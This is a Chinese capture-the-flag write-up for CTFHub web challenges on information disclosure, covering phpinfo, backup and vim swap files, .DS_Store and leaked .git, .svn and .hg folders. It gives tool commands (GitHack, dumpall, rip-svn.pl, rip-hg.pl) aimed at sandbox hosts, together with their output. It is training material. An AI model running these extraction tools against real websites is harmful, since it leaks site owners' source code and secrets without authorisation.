目录遍历
Des: N/A。
页面如下:
点击按钮后会进入一个在线FTP
目录:
挨个进入查看即可。
获得flag
。
PHPINFO
Des: N/A。
页面如下:
点击按钮进入phpinfo
页面,Ctrl+F
搜索flag
即可在Environment
中的变量中找到flag
。
获得flag
。
拓展:phpinfo
phpinfo
包含所有EGPCS(Environment, GET, POST, Cookie, Server)
数据,通过phpinfo
页面我们能获取到服务器的很多配置信息,在后续的文件上传等操作上能依据该页面的禁用函数定制攻击手法。
备份文件下载
网站源码
Des: 当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。
页面如下:
尝试访问www.zip
,成功获取网站源码。
获得flag
。
bak文件
Des: 当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。
页面内容如下:
Flag in index.php source code.
网站默认首页为index.php
,查看页面源码没有任何信息,尝试获取index.php
源码,联想到题目给的bak
文件,尝试访问index.php.bak
,成功获取index.php.bak
文件。
获得flag
。
vim缓存
Des: 当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。
页面如下:
备份文件下载 - vim
flag 在 index.php 源码中
页面提示我们获取index.php
文件,再根据题目名称我们大概可知具体方法为获取index.php
的vim
缓存文件,访问.index.php.swp
即可,此处在index.php
之前加.
是因为vim
缓存文件默认为隐藏文件,所以文件名前有个.
。获取到index.php.swp
文件后我们先在Linux
中使用touch
命令创建一个同名文件index.php
,再使用vim -r <filename>
恢复文件内容。
拓展:vim文件备份
用户在使用vim
的过程中若因断电、网络不稳定(如终端突然断开等情况)等原因突然中断文件编辑时,第一次vim
会在当前目录生成一个与编辑文件同名的后缀为.swp
的备份文件,第二次后缀为swo
,第三次后缀为swn
。用户可使用vim -r
命令查看当前目录下的所有swp
文件,在当前目录存在与备份文件同名的文件时,使用vim -r <filename>
命令将备份文件中的内容覆盖至文件。
.DS_Store
Des: .DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
页面内容:
备份文件下载 - DS_Store
试着寻找 flag
此处使用dumpall
工具0xHJK/dumpall: 一款信息泄漏利用工具,适用于.git/.svn/.DS_Store泄漏和目录列出 (github.com):
python3 dumpall.py -u http://challenge-1e2e8ffbe3e72091.sandbox.ctfhub.com:10800/.DS_Store
结果:
[200] http://challenge-1e2e8ffbe3e72091.sandbox.ctfhub.com:10800/47a90c9e8d66b6a1eb9c411204e7a934.txt 47a90c9e8d66b6a1eb9c411204e7a934.txt
直接访问链接。
获得flag
。
Git泄露
Log
Des: 当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。请尝试使用BugScanTeam的GitHack完成本题。
工具地址:BugScanTeam/GitHack: .git 泄漏利用工具,可还原历史版本 (github.com)
工具利用:
python2 GitHack.py http://challenge-dc11daca3e6b9249.sandbox.ctfhub.com:10800/.git
# 攻击日志
____ _ _ _ _ _
/ ___(_) |_| | | | __ _ ___| | __
| | _| | __| |_| |/ _` |/ __| |/ /
| |_| | | |_| _ | (_| | (__| <
\____|_|\__|_| |_|\__,_|\___|_|\_\{0.0.5}
A '.git' folder disclosure exploit.
[*] Check Depends
[+] Check depends end
[*] Set Paths
[*] Target Url: http://challenge-dc11daca3e6b9249.sandbox.ctfhub.com:10800/.git/
[*] Initialize Target
[*] Try to Clone straightly
[*] Clone
Cloning into '/root/tools/GitHack/dist/challenge-dc11daca3e6b9249.sandbox.ctfhub.com_10800'...
fatal: repository 'http://challenge-dc11daca3e6b9249.sandbox.ctfhub.com:10800/.git/' not found
[-] Clone Error
[*] Try to Clone with Directory Listing
[*] http://challenge-dc11daca3e6b9249.sandbox.ctfhub.com:10800/.git/ is not support Directory Listing
[-] [Skip][First Try] Target is not support Directory Listing
[*] Try to clone with Cache
[*] Initialize Git
[!] Initialize Git Error: hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint:
hint: git config --global init.defaultBranch <name>
hint:
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint:
hint: git branch -m <name>
[*] Cache files
[*] packed-refs
[*] config
[*] HEAD
[*] COMMIT_EDITMSG
[*] ORIG_HEAD
[*] FETCH_HEAD
[*] refs/heads/master
[*] refs/remote/master
[*] index
[*] logs/HEAD
[*] logs/refs/heads/master
[*] Fetch Commit Objects
[*] objects/98/10bf645254762b81c98bd738807624695fc847
[*] objects/01/2ae1fc6b838a345b689ae6bb4ec0edfd517a64
[*] objects/5e/975018cc48f4f1bd619ba6afbebfa9b295701d
[*] objects/3a/ba889186ca4defd4a2083371d7e524d53abf33
[*] objects/90/71e0a24f654c88aa97a2273ca595e301b7ada5
[*] objects/2c/59e3024e3bc350976778204928a21d9ff42d01
[*] objects/25/222d3363054bd0718d58f51389c438681a145a
[*] objects/89/04d877c841d1afd9e2dfaf879e9e785ac90822
[*] Fetch Commit Objects End
[*] logs/refs/remote/master
[*] logs/refs/stash
[*] refs/stash
[*] Valid Repository
[+] Valid Repository Success
[+] Clone Success. Dist File : /root/tools/GitHack/dist/challenge-dc11daca3e6b9249.sandbox.ctfhub.com_10800
# 切换至对应目录
cd dist/challenge-dc11daca3e6b9249.sandbox.ctfhub.com_10800
# git log查看提交历史
git log
commit 9810bf645254762b81c98bd738807624695fc847 (HEAD -> master)
Author: CTFHub <[email protected]>
Date: Mon Aug 15 07:42:21 2022 +0000
remove flag
commit 5e975018cc48f4f1bd619ba6afbebfa9b295701d
Author: CTFHub <[email protected]>
Date: Mon Aug 15 07:42:21 2022 +0000
add flag
commit 25222d3363054bd0718d58f51389c438681a145a
Author: CTFHub <[email protected]>
Date: Mon Aug 15 07:42:21 2022 +0000
init
# 可见5e97分支存在flag,我们选择回滚到该分支即可
git reset --hard 5e97
HEAD is now at 5e97501 add flag
# 查看当前目录下文件
ls
170172042812400.txt 50x.html index.html
查看txt
文件即可。
获得flag
。
拓展:git简介及git回滚命令
git
是一个开源的分布式版本控制系统,可用于管理代码和工作流,以commit
为单位。
当我们需要对git
目录进行回滚时,可使用git reset
目录,具体有两种用法:
1. 回滚到指定分支
git reset --hard <commit_id>
2. 回滚到上一分支
git reset --hard HEAD^
我们还可以进一步使用命令回滚到上上一个分支
git reset --hard HEAD^^
在输入commit_id
时,若id
前几位(如前四位)在提交记录中值唯一,那么我们只需输入前四位即可,回滚代码还可使用git revert
,此处不详写,感兴趣的读者可自行查阅资料。
Stash
Des: 同上。
还是使用GitHack
工具,进入对应后查看相关信息:
# 命令
git log
# 结果
commit 8ae0b10fa29bf706e479f82f6717cb8b2caa5a59 (HEAD -> master)
Author: CTFHub <[email protected]>
Date: Mon Aug 15 14:14:02 2022 +0000
remove flag
commit b6111d1498aba67660cb6eca093a7cc94038bb5a
Author: CTFHub <[email protected]>
Date: Mon Aug 15 14:14:02 2022 +0000
add flag
commit d3ee626ec78900eb2fd1ef4db73be31ff2136ba9
Author: CTFHub <[email protected]>
Date: Mon Aug 15 14:14:02 2022 +0000
init
# 查看当前目录下的文件
ls
50x.html index.html
# 查看通过git stash存储的修改列表
git stash list
stash@{0}: WIP on master: b6111d1 add flag
# 将修改追加到最新提交之后,也就是将list中的flag追加到最新提交后
git stash pop
# 查看当前目录下的文件
ls
12452555114914.txt 50x.html index.html
获得flag
。
拓展:git stash简介
git stash
一般应用在一些比较复杂的环境中,这条命令会将本地修改保存并将当前代码切换到HEAD
提交上。git stash
命令其实就是git stash save
命令的简写,我们还可通过git stash list
查看修改列表、git stash show
校验修改列表、git stash apply
重新存储。最新的存储位于ref/stash
中,可通过stash@{0}
获取最新存储,stash@{1}
获取次新存储,以此类推。
git stash
的每个存储单元在工作仓库中通过commit
的形式,由树结构进行展示,其根节点为HEAD
所在的提交,工作树如图所示,H
代表HEAD
提交,I
代表存储单元的提交,W
代表工作单元的提交:
此处我们以开发过程中需要同步远端代码的情况为例:当我们在进行开发还未调试完成时,不想提交当前代码,但又需要同步关联远端代码。在本地代码和远端代码没有冲突时,可使用git pull
命令,但若存在冲突则会拒绝覆盖当前修改,在这种情况下我们仅需使用git stash
保存本地代码,git pull
同步远端代码后再使用git stash pop
将本地代码追加进当前分支即可:
git stash
git pull
git stash pop
Index
Des: 同上。
# 使用工具
python2 GitHack.py http://challenge-d24592e5c3a594ff.sandbox.ctfhub.com:10800/.git
# 切换到对应目录
cd dist/challenge-d24592e5c3a594ff.sandbox.ctfhub.com_10800
# 查看目录下文件
ls
264482891025009.txt 50x.html index.html
获得flag
。
SVN泄露
Des: 当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。
# 在运行成功前有两处报错,此处贴上解决方法
报错1:Can't locate DBI.pm in @INC (you may need to install the DBI module) (@INC contains: /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.34.0 /usr/local/share/perl/5.34.0 /usr/lib/x86_64-linux-gnu/perl5/5.34 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl-base /usr/lib/x86_64-linux-gnu/perl/5.34 /usr/share/perl/5.34 /usr/local/lib/site_perl) at ./rip-svn.pl line 7.
BEGIN failed--compilation aborted at ./rip-svn.pl line 7.
解决方法:apt install -y libdbi-perl
报错2:install_driver(SQLite) failed: Can't locate DBD/SQLite.pm in @INC (you may need to install the DBD::SQLite module) (@INC contains: /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.34.0 /usr/local/share/perl/5.34.0 /usr/lib/x86_64-linux-gnu/perl5/5.34 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl-base /usr/lib/x86_64-linux-gnu/perl/5.34 /usr/share/perl/5.34 /usr/local/lib/site_perl) at (eval 42) line 3.
Perhaps the DBD::SQLite perl module hasn't been fully installed,
or perhaps the capitalisation of 'SQLite' isn't right.
Available drivers: DBM, ExampleP, File, Gofer, Mem, Proxy, Sponge.
at ./rip-svn.pl line 85.
解决方法:apt install -y libdbd-sqlite3-perl
# 工具利用
./rip-svn.pl -v -u http://challenge-ee8bd450d496d834.sandbox.ctfhub.com:10800/.svn/
[i] Found new SVN client storage format!
REP INFO => 1:file:///opt/svn/ctfhub:e43e7ef8-82fb-4194-9673-81c29de69c33
[i] Trying to revert the tree, if you get error, upgrade your SVN client!
# 查看当前目录下.svn目录树
tree .svn
.svn
├── entries
├── format
├── pristine
│ ├── 24
│ │ └── 24e3ff39c1fc315ce64dc8e13aed8bcdc6acecdd.svn-base
│ └── bf
│ └── bf45c36a4dfb73378247a6311eac4f80f48fcb92.svn-base
├── text-base
├── tmp
└── wc.db
查看prisine
里的文件即可。
获得flag
。
HG泄露
Des: 当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。
还是使用上一题的工具:
./rip-hg.pl -v -u http://challenge-22e6994653073985.sandbox.ctfhub.com:10800/.hg/
[i] Downloading hg files from http://challenge-22e6994653073985.sandbox.ctfhub.com:10800/.hg/
[i] Auto-detecting 404 as 200 with 3 requests
[i] Getting correct 404 responses
[d] found 00changelog.i
[d] found dirstate
[d] found requires
[!] Not found for branch: 404 Not Found
[!] Not found for branchheads.cache: 404 Not Found
[d] found last-message.txt
[!] Not found for tags.cache: 404 Not Found
[d] found undo.branch
[d] found undo.desc
[d] found undo.dirstate
[d] found store/00changelog.i
[!] Not found for store/00changelog.d: 404 Not Found
[d] found store/00manifest.i
[!] Not found for store/00manifest.d: 404 Not Found
[d] found store/fncache
[d] found store/undo
[!] Not found for .hgignore: 404 Not Found
[i] Running hg status to check for missing items
cannot find hg: No such file or directory at ./rip-hg.pl line 140.
# 查看.hg目录树
tree .hg
.hg
├── 00changelog.i
├── dirstate
├── last-message.txt
├── requires
├── store
│ ├── 00changelog.i
│ ├── 00manifest.i
│ ├── data
│ ├── fncache
│ └── undo
├── undo.branch
├── undo.desc
└── undo.dirstate
# 查看目录状态
cat .hg/dirstate
&8�}1�&Y��PiH,G��n���^c50x.htmln��
^K�*
index.htmln��!b�M�flag_2935626550.txt
构造链接http://challenge-22e6994653073985.sandbox.ctfhub.com:10800/flag_2935626550.txt
。
获得flag
。
文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。